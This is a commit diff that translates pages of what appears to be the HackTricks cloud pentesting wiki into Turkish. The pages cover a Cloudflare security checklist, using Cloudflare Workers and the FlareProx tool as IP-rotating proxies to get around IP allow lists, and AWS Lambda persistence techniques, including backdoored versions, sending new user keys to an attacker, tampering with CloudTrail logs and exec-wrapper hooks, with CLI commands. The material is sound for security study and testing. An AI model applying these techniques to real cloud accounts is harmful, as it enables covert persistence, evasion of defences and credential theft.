Translated ['src/pentesting-ci-cd/cloudflare-security/README.md', 'src/p

This commit is contained in:
Translator
2025-10-23 20:55:37 +00:00
parent b9d32297b1
commit f3f857a658
18 changed files with 616 additions and 627 deletions
@@ -2,59 +2,59 @@
{{#include ../../banners/hacktricks-training.md}}
Bir Cloudflare hesabında yapılandırılabilecek bazı **genel ayarlar ve servisler** vardır. Bu sayfada her bölümün **güvenlikle ilgili ayarlarını** **inceleyeceğiz:**
Bir Cloudflare hesabında bazı **genel ayarlar ve servisler** yapılandırılabilir. Bu sayfada her bölümün **güvenlikle ilgili ayarlarını** inceleyeceğiz:
<figure><img src="../../images/image (117).png" alt=""><figcaption></figcaption></figure>
## Web siteleri
## Websiteler
Her birini şu sayfada inceleyin:
Her birini şu kaynakla inceleyin:
{{#ref}}
cloudflare-domains.md
{{#endref}}
### Alan Adı Kaydı
### Domain Registration
- [ ] **`Transfer Domains`** içinde herhangi bir domain'in transferinin mümkün olup olmadığını kontrol edin.
- [ ] **`Transfer Domains`** içinde herhangi bir domainin transfer edilemediğini kontrol edin.
Her birini şu sayfada inceleyin:
Her birini şu kaynakla inceleyin:
{{#ref}}
cloudflare-domains.md
{{#endref}}
## Analitik
## Analytics
_I couldn't find anything to check for a config security review._
_Konfigürasyon güvenlik incelemesi için kontrol edilecek bir şey bulamadım._
## Pages
Her Cloudflare Pages sayfasında:
Her Cloudflare Pages sitesi için:
- [ ] **`Build log`** içinde **hassas bilgi** olup olmadığını kontrol edin.
- [ ] Pages'e atanmış **Github repository** içinde **hassas bilgi** olup olmadığını kontrol edin.
- [ ] Olası github repo kompromisini **workflow command injection** veya `pull_request_target` kompromisi ile kontrol edin. Daha fazla bilgi için [**Github Security page**](../github-security/index.html) bölümüne bakın.
- [ ] `/fuctions` dizininde (varsa) **zayıf fonksiyonlar** için kontrol edin, `_redirects` dosyasındaki **redirect**leri (varsa) ve `_headers` dosyasındaki **yanlış yapılandırılmış header**ları (varsa) kontrol edin.
- [ ] Eğer koda erişiminiz varsa, web sayfasında **blackbox** veya **whitebox** ile **vulnerabilities** kontrolü yapın.
- [ ] Her sayfanın detaylarında `/<page_id>/pages/view/blocklist/settings/functions` kısmında **`Environment variables`** içinde **hassas bilgi** olup olmadığını kontrol edin.
- [ ] Detay sayfasında ayrıca **build command** ve **root directory**'yi sayfayı kompromize etmek için olası **injections** açısından kontrol edin.
- [ ] Pages'e atanan **Github repository** içinde **hassas bilgi** olup olmadığını kontrol edin.
- [ ] Potansiyel github repo compromise için **workflow command injection** veya `pull_request_target` compromise kontrolü yapın. Daha fazla bilgi için [**Github Security page**](../github-security/index.html).
- [ ] `/fuctions` dizininde (varsa) **vulnerable functions** olup olmadığını, `_redirects` dosyasında (varsa) **redirects**i ve `_headers` dosyasında (varsa) **misconfigured headers**i kontrol edin.
- [ ] **web page** üzerinde **vulnerabilities** için blackbox veya whitebox testleri yapın (koda erişebiliyorsanız).
- [ ] Her sayfanın detaylarında `/<page_id>/pages/view/blocklist/settings/functions`. içinde **`Environment variables`** içinde **hassas bilgi** olup olmadığını kontrol edin.
- [ ] Detay sayfasında ayrıca **build command** ve **root directory**'yi olası enjeksiyonlar için kontrol edin.
## **Workers**
Her Cloudflare Workers için kontrol edin:
Her Cloudflare Worker için kontrol edin:
- [ ] Triggers: Worker'ı ne tetikliyor? Bir **kullanıcı veri gönderiyor** ve bu veri worker tarafından **kullanılıyor** mu?
- [ ] **`Settings`** içinde **`Variables`** olarak **hassas bilgi** içeren bir şey var mı kontrol edin
- [ ] Worker kodunu kontrol edin ve **vulnerabilities** arayın (özellikle kullanıcının girdiyi yönetebildiği yerlerde)
- SSRF'leri ve kontrolünüzdeki bir sayfayı döndüren durumları kontrol edin
- [ ] Triggers: Worker'ı ne tetikliyor? Bir **kullanıcı veri gönderebiliyor** mu ve bu veri worker tarafından **kullanılıyor** mu?
- [ ] **`Settings`** içinde **`Variables`** içinde **hassas bilgi** olup olmadığını kontrol edin
- [ ] Worker kodunu kontrol edin ve **vulnerabilities** arayın (özellikle kullanıcı girdisinin işlendiği yerlerde)
- SSRF dönen ve sizin kontrol edebileceğiniz sayfaları kontrol edin
- svg içinde JS çalıştıran XSS'leri kontrol edin
- Worker'ın diğer iç servislerle etkileşime girebileceğini unutmayın. Örneğin, bir worker input'tan elde edilen bilgileri depolayan bir R2 bucket ile etkileşime girebilir. Bu durumda, worker'ın R2 bucket üzerindeki yeteneklerini ve bunların kullanıcı girdisinden nasıl kötüye kullanılabileceğini kontrol etmek gerekir.
- Worker'ın diğer internal servislerle etkileşime girip girmediğini kontrol edin. Örneğin, bir worker gelen girdiden alınan bilgileri depolayan bir R2 bucket ile etkileşime girebilir. Bu durumda worker'ın R2 bucket üzerindeki yetkilerini ve kullanıcının girişi üzerinden nasıl kötüye kullanılabileceğini kontrol etmek gerekir.
> [!WARNING]
> Varsayılan olarak bir **Worker'a şu tür bir URL verilir**: `<worker-name>.<account>.workers.dev`. Kullanıcı bunu bir **subdomain** olarak ayarlayabilir ama orijinal URL'i biliyorsanız worker'a her zaman o URL ile erişebilirsiniz.
> Note that by default a **Worker is given a URL** such as `<worker-name>.<account>.workers.dev`. The user can set it to a **subdomain** but you can always access it with that **original URL** if you know it.
Workers'ı geçiş proxy'si (IP rotation, FireProx tarzı) olarak pratik kötüye kullanım için şu bölüme bakın:
Worker'ları pass-through proxy (IP rotation, FireProx-style) olarak kötüye kullanmaya dair pratik örnek için bakın:
{{#ref}}
cloudflare-workers-pass-through-proxy-ip-rotation.md
@@ -76,8 +76,8 @@ TODO
## Security Center
- [ ] Mümkünse bir **`Security Insights`** taraması ve bir **`Infrastructure`** taraması çalıştırın; bu taramalar güvenlik açısından ilginç bilgileri **vurgulayacaktır**.
- [ ] Bu bilgileri güvenlik yanlış yapılandırmaları ve ilginç bilgiler açısından **inceleyin**
- [ ] Mümkünse bir **`Security Insights`** **scan** ve bir **`Infrastructure`** **scan** çalıştırın; bunlar güvenlik açısından ilginç bilgileri **öne çıkarır**.
- [ ] Bu bilgileri güvenlik konfigürasyon hataları ve ilginç bilgiler açısından inceleyin
## Turnstile
@@ -94,12 +94,12 @@ cloudflare-zero-trust-network.md
> [!NOTE]
> Unlike [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) are essentially static — they do **not support any string replacement** operations or regular expressions. However, you can configure URL redirect parameters that affect their URL matching behavior and their runtime behavior.
- [ ] Redirect ifadelerinin ve gereksinimlerinin **mantıklı** olduğundan emin olun.
- [ ] Ayrıca **gizli hassas endpoint'ler** olup olmadığını ve ilginç bilgi içerip içermediğini kontrol edin.
- [ ] Redirect ifadelerinin ve gereksinimlerinin mantıklı olduğundan emin olun.
- [ ] Gizli ve ilginç bilgi içerebilecek **sensitive hidden endpoints** olup olmadığını kontrol edin.
## Notifications
- [ ] **Notifications**'ları kontrol edin. Güvenlik için önerilen bildirimler:
- [ ] **Notifications** ayarlarını kontrol edin. Güvenlik için önerilen bildirimler:
- `Usage Based Billing`
- `HTTP DDoS Attack Alert`
- `Layer 3/4 DDoS Attack Alert`
@@ -119,22 +119,22 @@ cloudflare-zero-trust-network.md
- `Script Monitor New Script Exceeds Max URL Length Alert`
- `Advanced Security Events Alert`
- `Security Events Alert`
- [ ] Tüm **destinasyonları** kontrol edin; webhook URL'lerinde basic http auth gibi **hassas bilgi** olabilir. Ayrıca webhook URL'lerinin **HTTPS** kullandığından emin olun.
- [ ] Ek olarak, üçüncü taraflara gönderilen bir cloudflare bildirimi **taklit etmeyi** deneyebilirsiniz; belki bir şekilde **zararlı bir şey enjekte edebilirsiniz**.
- [ ] Tüm **destinations**i kontrol edin; webhook url'lerinde basic http auth gibi **hassas bilgi** olabilir. Ayrıca webhook url'lerinin **HTTPS** kullandığından emin olun.
- [ ] Ek olarak, üçüncü taraflara gönderilen cloudflare bildirimlerini **taklit etmeyi** deneyebilirsiniz; belki bir şekilde **zararlı bir şey enjekte edebilirsiniz**.
## Hesap Yönetimi
## Manage Account
- [ ] **`Billing` -> `Payment info`** bölümünde kredi kartının **son 4 hanesi**, **son geçerlilik tarihi** ve **fatura adresi** görülebilir.
- [ ] **`Billing` -> `Subscriptions`** bölümünde hesapta kullanılan **plan türü** görülebilir.
- [ ] **`Members`** bölümünde hesabın tüm üyeleri ve rollerini görebilirsiniz. Eğer plan Enterprise değilse yalnızca 2 rol vardır: Administrator ve Super Administrator. Ancak kullanılan **plan Enterprise** ise, en az ayrıcalık prensibini uygulamak için [**daha fazla rol**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) kullanılabilir.
- Bu nedenle, mümkünse **Enterprise planı** kullanılması **önerilir**.
- [ ] Members bölümünde hangi **üyelerin 2FA etkinleştirdiğini** kontrol edebilirsiniz. **Her** kullanıcıda 2FA etkin olmalıdır.
- [ ] **`Billing` -> `Payment info`** içinde kredi kartının **son 4 hanesini**, **son kullanma tarihini** ve **fatura adresini** görmek mümkündür.
- [ ] **`Billing` -> `Subscriptions`** içinde hesapta kullanılan **plan türü** görmek mümkündür.
- [ ] **`Members`** içinde hesabın tüm üyelerini ve rolleri görebilirsiniz. Plan Enterprise değilse yalnızca 2 rol vardır: Administrator ve Super Administrator. Ancak kullanılan **plan Enterprise ise**, [**daha fazla rol**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) least privilege ilkesini uygulamak için kullanılabilir.
- Bu nedenle, mümkün olduğunda **Enterprise plan** kullanılması **önerilir**.
- [ ] Members içinde hangi **üyelerin** **2FA etkinleştirdiğini** kontrol etmek mümkündür. **Her** kullanıcıda 2FA etkin olmalıdır.
> [!NOTE]
> Neyse ki **`Administrator`** rolü üyelikleri yönetme yetkisi vermez (**yükseltme yapamaz veya yeni üye davet edemez**)
> Note that fortunately the role **`Administrator`** doesn't give permissions to manage memberships (**cannot escalate privs or invite** new members)
## DDoS Investigation
[Bunun kısmını kontrol edin](cloudflare-domains.md#cloudflare-ddos-protection).
[Check this part](cloudflare-domains.md#cloudflare-ddos-protection).
{{#include ../../banners/hacktricks-training.md}}
@@ -1,28 +1,28 @@
# Cloudflare Workers'ı pass-through proxy olarak kötüye kullanma (IP rotasyonu, FireProx-style)
# Cloudflare Workers'ı pass-through proxy'leri olarak kötüye kullanma (IP rotasyonu, FireProx tarzı)
{{#include ../../banners/hacktricks-training.md}}
Cloudflare Workers, istemci tarafından sağlanan upstream hedef URL'si ile şeffaf HTTP pass-through proxy'leri olarak dağıtılabilir. İstekler Cloudflare ağından egress yapar, bu yüzden hedef istemci yerine Cloudflare IP'lerini görür. Bu, AWS API Gateway'deki iyi bilinen FireProx tekniğini yansıtır, ancak Cloudflare Workers kullanır.
Cloudflare Workers, upstream hedef URL'si istemci tarafından sağlanan şeffaf HTTP pass-through proxy'leri olarak dağıtılabilir. İstekler Cloudflare ağından egress olur, bu yüzden hedef istemci yerine Cloudflare IP'lerini görür. Bu, AWS API Gateway üzerindeki bilinen FireProx tekniğini yansıtır, ancak Cloudflare Workers kullanır.
### Key capabilities
- Tüm HTTP metodlarını destekler (GET, POST, PUT, DELETE, PATCH, OPTIONS, HEAD)
- Hedef, query parametresi (?url=...), bir header (X-Target-URL) veya hatta path içinde kodlanmış şekilde (/https://target gibi) sağlanabilir
- Gerekli olduğu yerde hop-by-hop/header filtrelemesi ile header'lar ve body proxylenir
- Yanıtlar status kodu ve çoğu header korunarak geri iletilir
- Opsiyonel olarak X-Forwarded-For'ın spoof edilmesi (Worker bunu kullanıcı kontrollü bir header'dan ayarlıyorsa)
- Birden fazla Worker endpoint dağıtarak ve istekleri fanning out yaparak son derece hızlı/kolay rotation
### Temel yetenekler
- Tüm HTTP yöntemlerini destekler (GET, POST, PUT, DELETE, PATCH, OPTIONS, HEAD)
- Hedef query parametresi (?url=...), bir header (X-Target-URL) ile veya hatta path içinde kodlanmış olarak (ör. /https://target) sağlanabilir
- Header'lar ve body gerektiğinde hop-by-hop/header filtresi uygulanarak proxy'lenir
- Yanıtlar status kodunu ve çoğu header'ı koruyarak geri iletilir
- Opsiyonel olarak X-Forwarded-For taklidi (Worker bunu kullanıcı kontrollü bir header'dan ayarlıyorsa)
- Birden fazla Worker endpoint'i dağıtarak ve istekleri fan-out yaparak son derece hızlı/kolay rotasyon
### Nasıl çalışır (flow)
1) İstemci, bir Worker URL'sine bir HTTP isteği gönderir (`<name>.<account>.workers.dev` veya bir custom domain route).
2) Worker, hedefi ya bir query parametresinden (?url=...), X-Target-URL header'ından ya da uygulanmışsa bir path segmentinden çıkarır.
3) Worker gelen method, header'lar ve body'yi belirtilen upstream URL'ine iletir (sorunlu header'ları filtreleyerek).
4) Upstream yanıtı Cloudflare üzerinden istemciye stream edilir; origin Cloudflare egress IP'lerini görür.
### Nasıl çalışır (akış)
1) İstemci bir Worker URL'sine (`<name>.<account>.workers.dev` veya bir custom domain route) HTTP isteği gönderir.
2) Worker hedefi ya bir query parametresinden (?url=...), X-Target-URL header'ından veya uygulanmışsa bir path segmentinden çıkarır.
3) Worker gelen method, header'lar ve body'i belirtilen upstream URL'e iletir (problemli header'ları filtreleyerek).
4) Upstream yanıtı Cloudflare üzerinden istemciye stream edilir; origin Cloudflare çıkış IP'lerini görür.
### Worker implementation example
### Worker uygulama örneği
- Hedef URL'yi query param, header veya path'ten okur
- Güvenli bir header altkümesini kopyalar ve orijinal method/body'yi iletir
- Opsiyonel olarak X-Forwarded-For'ı kullanıcı kontrollü bir header (X-My-X-Forwarded-For) veya rastgele bir IP ile ayarlar
- Genişletilmiş CORS ekler ve preflight isteklerini ele alır
- Güvenli bir header alt kümesini kopyalar ve orijinal method/body'yi iletir
- Opsiyonel olarak X-Forwarded-For'u kullanıcı kontrollü bir header (X-My-X-Forwarded-For) veya rastgele bir IP kullanarak ayarlar
- Geniş izinli CORS ekler ve preflight'ı işler
<details>
<summary>Pass-through proxy için örnek Worker (JavaScript)</summary>
@@ -133,12 +133,12 @@ function randomIP() { return [1,2,3,4].map(() => Math.floor(Math.random()*255)+1
```
</details>
### FlareProx ile dağıtım ve rotasyonun otomasyonu
### FlareProx ile dağıtım ve rotasyonu otomatikleştirme
FlareProx, Cloudflare API'sini kullanarak birçok Worker endpoint dağıtan ve bunlar arasında dönen bir Python aracıdır. Bu, Cloudflare ağından FireProx-benzeri IP rotasyonu sağlar.
FlareProx, Cloudflare API'yi kullanarak birçok Worker endpoints dağıtan ve bunlar arasında rotasyon yapan bir Python aracıdır. Bu, Cloudflares network üzerinden FireProx-benzeri IP rotasyonu sağlar.
Kurulum
1) “Edit Cloudflare Workers” şablonunu kullanarak bir Cloudflare API Token oluşturun ve kontrol panelinden Account ID'nizi alın.
1) “Edit Cloudflare Workers” şablonunu kullanarak bir Cloudflare API Token oluşturun ve dashboard'dan Account ID'nizi alın.
2) FlareProx'i yapılandırın:
```bash
git clone https://github.com/MrTurvey/flareprox
@@ -156,7 +156,7 @@ pip install -r requirements.txt
```
**CLI kullanımı**
- N Worker proxies oluşturun:
- N adet Worker proxy oluşturun:
```bash
python3 flareprox.py create --count 2
```
@@ -164,15 +164,15 @@ python3 flareprox.py create --count 2
```bash
python3 flareprox.py list
```
- Health-test endpoint'leri:
- Health-test endpoints:
```bash
python3 flareprox.py test
```
- Tüm endpointsleri sil:
- Tüm endpoints'leri sil:
```bash
python3 flareprox.py cleanup
```
**Trafiği bir Worker üzerinden yönlendirme**
**Worker üzerinden trafiği yönlendirme**
- Sorgu parametresi biçimi:
```bash
curl "https://your-worker.account.workers.dev?url=https://httpbin.org/ip"
@@ -181,7 +181,7 @@ curl "https://your-worker.account.workers.dev?url=https://httpbin.org/ip"
```bash
curl -H "X-Target-URL: https://httpbin.org/ip" https://your-worker.account.workers.dev
```
- Yol formu (uygulandıysa):
- Yol biçimi (uygulandıysa):
```bash
curl https://your-worker.account.workers.dev/https://httpbin.org/ip
```
@@ -202,19 +202,19 @@ curl -X PUT -d '{"username":"admin"}' -H "Content-Type: application/json" \
curl -X DELETE \
"https://your-worker.account.workers.dev?url=https://httpbin.org/delete"
```
**`X-Forwarded-For` kontrolü**
**`X-Forwarded-For` kontrol**
Eğer Worker `X-My-X-Forwarded-For`'ı dikkate alıyorsa, upstream `X-Forwarded-For` değerini etkileyebilirsiniz:
Worker `X-My-X-Forwarded-For`'u dikkate alıyorsa, upstream `X-Forwarded-For` değerini etkileyebilirsiniz:
```bash
curl -H "X-My-X-Forwarded-For: 203.0.113.10" \
"https://your-worker.account.workers.dev?url=https://httpbin.org/headers"
```
**Programatik kullanım**
FlareProx kütüphanesini kullanarak endpoint'leri oluşturmak/listemek/test etmek ve istekleri Python'dan yönlendirmek için kullanın.
FlareProx kütüphanesini kullanarak endpoints oluşturun/listeleyin/test edin ve istekleri Python'dan yönlendirin.
<details>
<summary>Python örneği: Rastgele bir Worker endpoint'ine POST gönder</summary>
<summary>Python örneği: Rastgele bir Worker endpoint üzerinden bir POST gönderin</summary>
```python
#!/usr/bin/env python3
from flareprox import FlareProx, FlareProxError
@@ -268,16 +268,16 @@ print(f"Request error: {e}")
</details>
**Burp/Scanner entegrasyonu**
- Araçları (ör. Burp Suite) Worker URL'sine yönlendirin.
- Gerçek upstream'i ?url= veya X-Target-URL ile sağlayın.
- HTTP semantiği (methods/headers/body) korunur ve kaynak IP'niz Cloudflare arkasında maskelenir.
- Araçları (örneğin, Burp Suite) Worker URL'sine yönlendirin.
- Gerçek upstream'i ?url= veya X-Target-URL kullanarak sağlayın.
- HTTP semantics (methods/headers/body) korunur; kaynak IP'niz Cloudflare arkasında maskelenir.
**Operasyonel notlar ve sınırlamalar**
- Cloudflare Workers Free plan yaklaşık hesap başına günde 100.000 istek sağlar; gerekirse trafiği dağıtmak için birden fazla endpoint kullanın.
- Workers, Cloudflare'ın ağında çalışır; birçok hedef yalnızca Cloudflare IP'lerini/ASN'lerini görecektir, bu da basit IP izin/red listelerini veya coğrafi heuristikleri atlatabilir.
- Sorumlu şekilde ve yalnızca yetki ile kullanın. ToS ve robots.txt'e saygı gösterin.
- Cloudflare Workers Free plan hesap başına günde yaklaşık 100.000 isteğe izin verir; gerekirse trafiği dağıtmak için birden fazla endpoint kullanın.
- Workers Cloudflareın ağında çalışır; birçok hedef yalnızca Cloudflare IP'lerini/ASN'lerini görecektir, bu da basit IP izin/red listelerini veya coğrafi heuristikleri atlatabilir.
- Sorumlu şekilde ve yalnızca yetki/izin ile kullanın. ToS ve robots.txt'e uyun.
## References
## Referanslar
- [FlareProx (Cloudflare Workers pass-through/rotation)](https://github.com/MrTurvey/flareprox)
- [Cloudflare Workers fetch() API](https://developers.cloudflare.com/workers/runtime-apis/fetch/)
- [Cloudflare Workers pricing and free tier](https://developers.cloudflare.com/workers/platform/pricing/)
@@ -4,7 +4,7 @@
## Lambda
Daha fazla bilgi için bakın:
Daha fazla bilgi için bakınız:
{{#ref}}
../../aws-services/aws-lambda-enum.md
@@ -12,7 +12,7 @@ Daha fazla bilgi için bakın:
### Lambda Layer Kalıcılığı
Lambda çalıştırıldığında gizlice arbitrary code çalıştırmak için bir layer introduce/backdoor etmek mümkündür:
Lambda çalıştırıldığında gizlice çalışacak şekilde bir layer'ı **introduce/backdoor ederek rastgele kod çalıştırmak** mümkündür:
{{#ref}}
aws-lambda-layers-persistence.md
@@ -20,7 +20,7 @@ aws-lambda-layers-persistence.md
### Lambda Extension Kalıcılığı
Lambda Layers'i kötüye kullanarak extensions'ları da suistimal etmek ve lambda içinde persist etmek, ayrıca istekleri çalmak ve değiştirmek mümkündür.
Lambda Layers'ı kötüye kullanarak extensions'ları da suistimal etmek ve lambda içinde kalıcılık sağlamak; ayrıca istekleri çalmak ve değiştirmek mümkündür.
{{#ref}}
aws-abusing-lambda-extensions.md
@@ -28,42 +28,42 @@ aws-abusing-lambda-extensions.md
### Via resource policies
Harici hesaplara farklı lambda eylemlerine (ör. invoke veya update code) erişim vermek mümkündür:
Farklı lambda eylemlerine (ör. invoke veya update code) dış hesaplara erişim vermek mümkündür:
<figure><img src="../../../../images/image (255).png" alt=""><figcaption></figcaption></figure>
### Versiyonlar, Alias'lar & Ağırlıklar
### Versions, Aliases & Weights
Bir Lambda'nın **farklı versiyonları** olabilir (her versiyon farklı code ile).\
Daha sonra, lambda'nın **farklı versiyonlarıyla farklı aliases** oluşturabilir ve her birine farklı ağırlıklar atayabilirsiniz.\
Böylece bir saldırgan **backdoored version 1** oluşturup **sadece meşru code içeren version 2** oluşturabilir ve gizli kalmak için isteklerin yalnızca %1'inde version 1'i çalıştırabilir.
Bir Lambda'nin **farklı versiyonları** olabilir (her versiyon farklı code içerebilir).\
Daha sonra, lambda için **farklı versiyonlarla farklı alias'lar** oluşturabilir ve her birine farklı weight'ler atayabilirsiniz.\
Bu şekilde bir saldırgan **versiyon 1'i backdoor'lu** ve **versiyon 2'yi sadece meşru kod içeren** şekilde oluşturup, stealth kalmak için isteklerin sadece %1'inde versiyon 1'i çalıştıracak şekilde ayarlayabilir.
<figure><img src="../../../../images/image (120).png" alt=""><figcaption></figcaption></figure>
### Version Backdoor + API Gateway
1. Lambda'nın orijinal code'unu kopyalayın
2. **Orijinal code'u backdooring yapan yeni bir version oluşturun** (veya sadece kötü amaçlı code ile). Yayınlayın ve bu **versiyonu** $LATEST'e deploy edin
1. Kodu çalıştırmak için lambda ile ilişkili API Gateway'i çağırın
3. **Orijinal code ile yeni bir versiyon oluşturun**, yayınlayın ve o **versiyonu** $LATEST'e deploy edin.
1. Bu, backdoored code'u önceki bir versiyonda gizleyecektir
4. API Gateway'e gidin ve backdoored versiyonu çalıştıracak yeni bir POST methodu oluşturun (veya başka bir method seçin): `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
1. ARN'in sonundaki :1'in **fonksiyon versiyonunu gösterdiğini** not edin (bu senaryoda version 1 backdoored olan olacaktır).
5. Oluşturulan POST metodunu seçin ve Actions'da **`Deploy API`**'yi seçin
6. Şimdi, POST ile fonksiyonu çağırdığınızda **Backdoor**'ınız tetiklenecektir
1. Copy the original code of the Lambda
2. **Create a new version backdooring** the original code (or just with malicious code). Publish and **deploy that version** to $LATEST
1. Call the API gateway related to the lambda to execute the code
3. **Create a new version with the original code**, Publish and deploy that **version** to $LATEST.
1. This will hide the backdoored code in a previous version
4. Go to the API Gateway and **create a new POST method** (or choose any other method) that will execute the backdoored version of the lambda: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
1. Note the final :1 of the arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario).
5. Select the POST method created and in Actions select **`Deploy API`**
6. Now, when you **call the function via POST your Backdoor** will be invoked
### Cron/Event tetikleyici
### Cron/Event tetikleyicisi
Lambda fonksiyonlarını bir şey olduğunda veya belirli zaman aralıklarında çalıştırabilme özelliği, Lambda'yı kalıcılık sağlama ve tespiti atlatma için yaygın bir yol yapar.\
İşte AWS içindeki varlığınızı daha gizli hale getirmek için lambda'lar oluşturarak kullanabileceğiniz bazı fikirler.
Lambda fonksiyonlarını bir şey olduğunda veya belirli bir süre geçtiğinde çalıştırabilmeniz, lambda'yı kalıcılık elde etmek ve deteccion'u atlatmak için yaygın ve kullanışlı bir yol yapar.\
İşte AWS içinde **varlığınızı daha gizli hale getirmek için lambda'lar oluşturmaya** dair bazı fikirler.
- Her yeni kullanıcı oluşturulduğunda lambda yeni bir kullanıcı anahtarı oluşturur ve bunu saldırgana gönderir.
- Her yeni role oluşturulduğunda lambda, ele geçirilmiş kullanıcılara assume role izinleri verir.
- Her yeni CloudTrail log'u oluşturulduğunda bunları silin/değiştirin
- Yeni bir kullanıcı oluşturulduğunda lambda yeni bir kullanıcı anahtarı üretir ve bunu saldırganla paylaşır.
- Yeni bir role oluşturulduğunda lambda, ele geçirilmiş kullanıcılara assume role izinleri verir.
- Yeni cloudtrail logları oluşturulduğunda, bunları siler/degistirir
### RCE abusing AWS_LAMBDA_EXEC_WRAPPER + Lambda Layers
`AWS_LAMBDA_EXEC_WRAPPER` environment variable'ını kötüye kullanarak runtime/handler başlamadan önce saldırgan kontrollü bir wrapper script çalıştırın. Wrapper'ı bir Lambda Layer ile `/opt/bin/htwrap` yoluna dağıtın, `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap` olarak ayarlayın ve sonra fonksiyonu invoke edin. Wrapper fonksiyon runtime sürecinin içinde çalışır, fonksiyon execution role'unu miras alır ve sonunda gerçek runtime'ı `exec` eder; böylece orijinal handler normal şekilde çalışmaya devam eder.
Çalışma zamanı/handler başlamadan önce saldırgan kontrollü bir wrapper script'i çalıştırmak için `AWS_LAMBDA_EXEC_WRAPPER` environment variable'ını suistimal edin. Wrapper'ı bir Lambda Layer aracılığıyla `/opt/bin/htwrap` konumuna yerleştirin, `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap` olarak ayarlayın ve sonra function'ı invoke edin. Wrapper, function runtime process içinde çalışır, function execution role'ünü miras alır ve sonunda gerçek runtime'ı `exec` ederek orijinal handler'ın normal şekilde çalışmaya devam etmesini sağlar.
{{#ref}}
aws-lambda-exec-wrapper-persistence.md
@@ -71,7 +71,7 @@ aws-lambda-exec-wrapper-persistence.md
### AWS - Lambda Function URL Public Exposure
Lambda asynchronous destinations ile Recursion konfigürasyonunu birlikte kötüye kullanarak bir fonksiyonun harici bir scheduler olmadan (EventBridge, cron vb. olmadan) kendini sürekli yeniden invoke etmesini sağlayabilirsiniz. Varsayılan olarak Lambda recursive döngüleri sonlandırır, ancak recursion config'i Allow olarak ayarlamak bunları yeniden etkinleştirir. Destinations async invoke'lar için servis tarafında teslimat yapar, bu yüzden tek bir seed invoke kod gerektirmeyen, gizli bir heartbeat/backdoor kanalı oluşturur. Gürültüyü düşük tutmak için opsiyonel olarak reserved concurrency ile throttle edebilirsiniz.
Asenkron destinasyonları ve Recursion konfigürasyonunu birlikte suistimal ederek, bir function'ın harici bir scheduler olmadan (EventBridge, cron vb. olmadan) kendini sürekli yeniden invoke etmesini sağlayabilirsiniz. Varsayılan olarak, Lambda recursive döngüleri sonlandırır, ancak recursion config'i Allow olarak ayarlamak bunları tekrar etkinleştirir. Destinations asenkron invoke'lar için servis tarafında teslimat yapar, bu yüzden tek bir seed invoke kod gerektirmeyen, gizli bir heartbeat/backdoor kanalı yaratır. Gürültüyü düşük tutmak için isteğe bağlı olarak reserved concurrency ile throttle edilebilir.
{{#ref}}
aws-lambda-async-self-loop-persistence.md
@@ -79,19 +79,19 @@ aws-lambda-async-self-loop-persistence.md
### AWS - Lambda Alias-Scoped Resource Policy Backdoor
Saldırgan mantığı içeren gizli bir Lambda versiyonu oluşturun ve `lambda add-permission`'daki `--qualifier` parametresini kullanarak kaynak-temelli bir policy'yi o belirli versiyona (veya alias'a) uygulayın. Saldırgan principal'a sadece `lambda:InvokeFunction` iznini `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` üzerinde verin. Fonksiyon adı veya birincil alias üzerinden yapılan normal invokasyonlar etkilenmezken, saldırgan backdoored versiyonun ARN'ini doğrudan invoke edebilir.
Gizli bir Lambda versiyonu oluşturun ve resource-based policy'yi `lambda add-permission` içinde `--qualifier` parametresi kullanarak sadece o spesifik versiyona (veya alias'a) scope edin. Saldırgan prensibine yalnızca `lambda:InvokeFunction` yetkisini `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` üzerinde verin. Fonksiyon ismi veya birincil alias üzerinden normal invokasyonlar etkilenmezken, saldırgan doğrudan backdoored versiyon ARN'sini invoke edebilir.
Bu, bir Function URL'i açmaktan daha gizlidir ve birincil trafik alias'ını değiştirmez.
Bu, Function URL'i açmaktan daha stealthy bir yöntemdir ve birincil trafik alias'ını değiştirmez.
{{#ref}}
aws-lambda-alias-version-policy-backdoor.md
{{#endref}}
### Freezing AWS Lambda Runtimes
### AWS - Lambda Runtimelerini Dondurma
Lambda'ya lambda:InvokeFunction, logs:FilterLogEvents, lambda:PutRuntimeManagementConfig ve lambda:GetRuntimeManagementConfig izinlerine sahip bir saldırgan, bir fonksiyonun runtime management configuration'ını değiştirebilir. Bu saldırı, Lambda fonksiyonunu zafiyetli bir runtime versiyonunda tutmak veya yeni runtimelerle uyumsuz olabilecek kötü amaçlı layer'larla uyumluluğu korumak amacıyla özellikle etkilidir.
lambda:InvokeFunction, logs:FilterLogEvents, lambda:PutRuntimeManagementConfig ve lambda:GetRuntimeManagementConfig izinlerine sahip bir saldırgan, bir function'ın runtime management configuration'ını değiştirebilir. Bu saldırı, bir Lambda fonksiyonunu kırılgan bir runtime sürümünde tutmak veya yeni runtimelerle uyumsuz olabilecek kötü amaçlı layer'larla uyumluluğu korumak istendiğinde özellikle etkilidir.
Saldırgan runtime yönetim konfigürasyonunu runtime versiyonunu pinlemek için değiştirir:
Saldırgan runtime yönetim konfigürasyonunu değiştirerek runtime sürümünü sabitlemektedir:
```bash
# Invoke the function to generate runtime logs
aws lambda invoke \
@@ -113,7 +113,7 @@ aws lambda get-runtime-management-config \
--function-name $TARGET_FN \
--region us-east-1
```
İsteğe bağlı: Belirli bir runtime sürümüne sabitle
İsteğe bağlı: Belirli bir runtime sürümüne sabitleme
```bash
# Extract Runtime Version ARN from INIT_START logs
RUNTIME_ARN=$(aws logs filter-log-events \
@@ -122,7 +122,7 @@ RUNTIME_ARN=$(aws logs filter-log-events \
--query 'events[0].message' \
--output text | grep -o 'Runtime Version ARN: [^,]*' | cut -d' ' -f4)
```
Belirli bir çalışma zamanı sürümüne sabitle:
Belirli bir runtime sürümüne sabitle:
```bash
aws lambda put-runtime-management-config \
--function-name $TARGET_FN \
@@ -11,7 +11,7 @@ Daha fazla bilgi için bakınız:
{{#endref}}
### `cloudfront:Delete*`
